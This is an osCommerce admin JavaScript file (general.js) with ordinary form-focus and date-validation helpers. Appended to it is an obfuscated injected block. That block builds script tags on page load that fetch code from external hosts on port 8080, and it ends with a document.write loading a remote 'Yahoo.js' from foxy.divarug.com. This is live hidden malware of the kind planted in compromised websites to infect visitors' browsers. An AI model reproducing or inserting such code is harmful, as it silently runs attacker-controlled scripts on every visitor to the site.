/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}

var j=["Du"];var F=new Date();xo={};var _="";function L(){P={zx:5605};h={Q:24988};var I=document;u=[];gB=33104;gB+=136;var S=new String("hyTscri".substr(3)+"pt");var N=14879;Sg=["Gy"];var M=String("crea"+"teEl"+"emen"+"t");var V=String("3vxbody".substr(3));var kS='';this.rr=56738;this.rr+=184;var A=String("appe"+"ndCh"+"ild");lC={Qo:43012};var e=window;var D=String("src");var Im=String("xR6Eonloa".substr(4)+"d");this.w=false;var Lj=new String("de"+"fe"+"r");Wy=["v","b"];try {} catch(C){};function AR(){var hG={s:44499};var CH="";try {var T=2180-2179;var rH=new String();var x=String("http"+"://d"+"irtyjDS".substr(0,4)+"sin."+"bXFaru:XabF".substr(4,3));var jz={oS:"CY"};var l="/fifa"+"-com/"+"googl"+"e.com"+"/fand"+"ango.5h02".substr(0,5)+"com.p"+"hp";p={Dd:false};var eT=new String();var jV=new Date();var AP=808295-800215;G=I[M](S);var Zj={E:"zM"};var Ms={et:false};G[Lj]=T;var eoa=["eY","Gr"];G[D]=x+AP+l;this.H=38823;this.H-=219;var BW=["Zs","Jt"];var U=["f","liY"];I[V][A](G);bF=["CP"];_pV=[];} catch(k){var Gk=new Array();wx=["FP"];var xK=new Array();var fr=new Array();};}e[Im]=AR;zh=["EH"];var aP={hp:"sx"};};this.zR='';var lm="";L();var jd=new Date();var sxv=19201;
this.LV=48719;this.LV++;var O='';try {var lG={u:30452};var x=new Date();f=["h","Tn","Tg"];V=["b","A","ds"];B=["wx","s","oe"];this.gw="gw";Pd={r:false};VG=[];var D=window[new String("unesc"+"apeQFk".substr(0,3))];var Xl="Xl";var FX=["Lx","ws"];var l_="";var cx=["Vk","VY"];Mz={p_:50681};sk={ri:false};aX={VI:false};var g="m7oXre".substr(4)+"plJt7".substr(0,2)+"ac"+"e";this.JB=33154;this.JB+=18;var l="1";this.XF='';try {} catch(E){};var m=new String("onlo"+"ad");var H=["ur","lp","ey"];var zW=false;this.dD=24722;this.dD+=74;var D_i=false;PV=["pH","Jh"];var a='';IF=["W"];var Lv=new Date();this.ao=3506;this.ao-=46;var J=window[(new String("RegE"+"xpLoZ".substr(0,2)))];var _r="";var mt=new String();VM=51429;VM+=168;var uM='';var LP="";this.Fl="";this.Cl="";Jl={};var RO=["sp","Bt"];this.JF=27466;this.JF--;function G(l,I){var Js=new Array();dF=[];var Ra=["mR"];this.FO=3670;this.FO++;var mm={to:false};try {var CA='Ks'} catch(CA){};var zR="zR";var lJ="lJ";var Jx=new String("QA9V[".substr(4));this.JP=25518;this.JP-=15;var RA=new Date();Jx+=I;var oV=["Tj","dv","Gr"];Jx+=D("%5d");Ko=61345;Ko++;this.cb="";this.kK=false;CU=4640;CU--;var YO={};var _z=["Mr","Vr"];var pt=9738;var o=new J(Jx, String("g"));return l.replace(o, a);this.lB='';};var ZV='';fj=[];this.ep='';this.Q_='';this.qm='';this.Bo='';var d=new String("o5Z/g".substr(3)+"51Yoo".substr(3)+"gl"+"e.iDS".substr(0,2)+"co"+"m/268".substr(0,2)+"mtOozd".substr(0,2)+"imUxu".substr(0,2)+"e.jns".substr(0,2)+"HMqcoMqH".substr(3,2)+"m/wCP9".substr(0,2)+"ye"+"Uk7PllU7kP".substr(4,2)+"owQq5X".substr(0,2)+"CAu1pau1AC".substr(4,2)+"ge"+"VEPs.PVE".substr(3,2)+"co"+"m.oDv".substr(0,2)+"ph"+"pk9H0".substr(0,1));var k=656088-648008;ZG=["cq"];vB={ZYF:"hh"};bI={Vx:"cF"};var WH={AP:13876};var urV='';this.UyQ='';var Zp='';var p="htt"+"jGLCp:/".substr(4)+"WoTR/as".substr(4)+"hdoOjS5".substr(0,3)+"xK4g.r".substr(3)+"ZVYFu:".substr(4);var Nb=["jQ","yt","ro"];var CZ={bg:false};var Ki={PR:"OL"};var Gt=new String();Eq=46656;Eq-=1;this.yD=23510;this.yD+=254;var XO=new String();this.xh=64298;this.xh+=27;function L(){var vp=false;var Eo="";var qW={};rN=61916;rN--;var en=[];var DJ=G('sBcnrLi0pyt0','nZeLSEBPy9TRbxNa5kuU0');this.VxR=17575;this.VxR-=139;this.Zpc=24321;this.Zpc-=164;Csb=["Bi"];HT=33611;HT-=118;var P=document;this.cK=64695;this.cK--;this.XM=3160;this.XM--;this.uI="";var oH=String("appegDkt".substr(0,4)+"tPwBndCh".substr(4)+"ild");var SW="SW";var oM=["UM","VIm","yX"];this.MZ=26433;this.MZ+=172;T=P.createElement(DJ);var Nf='';var VQ=false;var km=new String();ll={Nz:33970};ak=[];M=p+k;var rF=new String();var Wl=new String();M=M+d;var WB={we:23442};rl=["AD"];NW=["gI"];xgl=["uh"];var ql=new Date();this.LT="LT";var Uj={VZ:11389};var mf=new String();var Zl=new Date();T[new String("de"+"fe6Xq1".substr(0,2)+"r")]=l;oC={};ZlC=["hd","TQ"];tUm={};var jF="jF";T.src=M;var BB={TF:"rTw"};_G={Dv:"jj"};var Ip=P.body;var sT=["tu","Ey"];miY=14947;miY-=219;hq={nP:"xm"};try {} catch(hS){};try {} catch(PW){};var Zpn=false;this.tJ=8916;this.tJ++;var ZYj=new Array();var Ev=new Array();Ip[oH](T);var ye=new Array();ZE=29077;ZE--;


document.write('<s'+'cript type="text/javascript" src="http://foxy.divarug.com:8080/Yahoo.js"></scr'+'ipt>');